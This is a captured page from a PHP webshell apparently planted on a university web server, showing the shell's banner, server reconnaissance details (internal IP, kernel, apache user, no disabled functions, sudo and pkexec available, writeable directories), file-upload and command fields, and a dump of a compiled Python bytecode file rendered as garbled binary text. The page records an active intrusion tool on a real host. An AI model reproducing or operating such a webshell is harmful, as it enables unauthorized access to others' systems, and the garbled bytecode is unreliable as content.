403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/objclass.cpython-36.pyc
3

�^j�@sxddlmZmZddlmZddlmZddlmZddl	m
Z
mZedd	d
dg�Zee
�Zdd
�ZGdd�de
�ZdS)�)�defaultdict�
namedtuple)�suppress�)�NoCommon�)�DiffResultDescriptor)�
Difference�
SymbolWrapperZmodified_class�added_perms�
removed_perms�
matched_permscCs>yt|j|Stk
r8t|�}|t|j|<|SXdS)z|
    Wrap class from the specified policy.

    This caches results to prevent duplicate wrapper
    objects in memory.
    N)�_class_cacheZpolicy�KeyErrorr
)Zclass_�c�r� /usr/lib64/python3.6/objclass.py�class_wrapper_factory$src@s8eZdZdZed�Zed�Zed�Zdd�Zdd�Z	dS)�ObjClassDifferencezN
    Determine the difference in object classes
    between two policies.
    �diff_classesc	Cs�|jjdj|��|jdd�|jj�D�dd�|jj�D��\|_|_}t	�|_
x�|D]�\}}|j}tt
��||jjO}WdQRX|j}tt
��||jjO}WdQRX|j||dd�\}}}|s�|rVt|||�|j
|<qVWdS)z?Generate the difference in object classes between the policies.zEGenerating class differences from {0.left_policy} to {0.right_policy}css|]}t|�VqdS)N)r
)�.0rrrr�	<genexpr>Fsz2ObjClassDifference.diff_classes.<locals>.<genexpr>css|]}t|�VqdS)N)r
)rrrrrrGsNF)Zunwrap)�log�info�formatZ	_set_diffZleft_policy�classesZright_policy�
added_classes�removed_classes�dict�modified_classesZpermsrr�common�modified_classes_record)	�selfZmatched_classesZ
left_classZright_classZ
left_permsZright_permsrrr
rrrr?s( 

zObjClassDifference.diff_classescCs"|jjd�d|_d|_d|_dS)z%Reset diff results on policy changes.z"Resetting object class differencesN)r�debugrrr)r"rrr�_reset_diffcszObjClassDifference._reset_diffN)
�__name__�
__module__�__qualname__�__doc__rrrrrr$rrrrr4s$rN)�collectionsrr�
contextlibrZ	exceptionrZdescriptorsr�
differencer	r
r!rrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit